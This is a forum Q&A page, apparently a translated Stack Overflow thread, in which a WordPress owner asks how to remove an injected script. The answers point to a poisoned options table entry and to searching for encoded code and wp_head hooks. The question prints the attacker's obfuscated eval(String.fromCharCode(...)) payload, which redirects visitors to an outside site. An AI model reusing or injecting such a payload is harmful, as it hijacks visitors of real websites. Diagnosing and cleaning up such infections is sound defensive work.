Как удалить вредоносный скрипт eval, которого нет в header.php - PullRequest
Новая
       15

Как удалить вредоносный скрипт eval, которого нет в header.php

1 голос
/ 04 мая 2019

Мой веб-сайт WordPress был взломан, и я могу только просмотреть вредоносный скрипт, просмотрев источник моей индексной страницы: 'view-source: mydomain.com'

Проблема в том, что я могуне могу найти местоположение этого кода ни в одном из моих php-файлов WordPress.Я просмотрел все основные файлы (header.php, htaccess и т. Д.), Но не смог его найти.

Код находится прямо перед закрытием / head tag: 

<script language=javascript>eval(String.fromCharCode(32, 32, 118, 97, 114, 32, 32, 32, 116, 100, 32, 61, 32, 49, 59, 32, 118, 97, 114, 32, 122, 122, 103, 32, 61, 32, 50, 59, 32, 118, 97, 114, 32, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 108, 101, 102, 116, 111, 117, 116, 115, 105, 100, 101, 109, 121, 112, 114, 111, 102, 105, 108, 101, 46, 105, 110, 102, 111, 47, 117, 112, 116, 121, 112, 101, 63, 122, 103, 61, 49, 38, 34, 59, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 114, 101, 112, 108, 97, 99, 101, 40, 99, 41, 59, 119, 105, 110, 100, 111, 119, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 99, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 108, 111, 99, 97, 116, 105, 111, 110, 46, 104, 114, 101, 102, 61, 99, 59));</script>

Я знаю, что это злонамеренное перенаправление, но не знаю, как с этим бороться.Первоначально я устранил проблему, полностью переустановив свой веб-сайт (в результате потеряв несколько сообщений), и постарался решить эту проблему, прежде чем задавать этот вопрос.

Буду очень признателен за помощь!

РЕДАКТИРОВАТЬ: обнаружил следующее, замените при необходимости:

`

class WPSEO_Frontend {

function __construct() {

    wp_reset_query();

    $options = get_wpseo_options();

    add_action('wp_head', array(&$this, 'head'), 1, 1);
    remove_action('wp_head', 'rel_canonical');

    add_filter( 'wp_title', array(&$this, 'title'), 10, 3);
    add_filter( 'thematic_doctitle', array(&$this, 'force_wp_title') );
    add_filter( 'headway_title', array(&$this, 'force_wp_title') );

    add_action('wp',array(&$this,'page_redirect'),99,1);`

Ответы [ 2 ]

0 голосов
/ 05 мая 2019

Код был вставлен в таблицу параметров WordPress (sgcgoogleanalytic). Я успешно удалил скрипт из таблицы.

0 голосов
/ 04 мая 2019

Вероятность того, что выход блока <script> закодирован в исходных файлах php, высока, поэтому вы не сможете найти фрагмент кода сверху, а скорее что-то вроде строки в кодировке base64 в некоторых ваших WordPress файлы. Как предположил Александру, вы можете искать во всех ваших файлах WP-файлов base64_decode и тщательно проверять события. Однако, поскольку теоретически существует бесконечные возможности для маскировки строки, это может стать довольно громоздким.

Другой подход может заключаться в поиске хука wp_head (-> поиск 'add_action('wp_head', который обычно используется для внедрения кода в раздел header вашего веб-сайта. Возможно, вы найдете функцию, которая вызывается и отвечает за внедрение вывод выше. Если вы заметили какой-то странно выглядящий код, опубликуйте его здесь.

...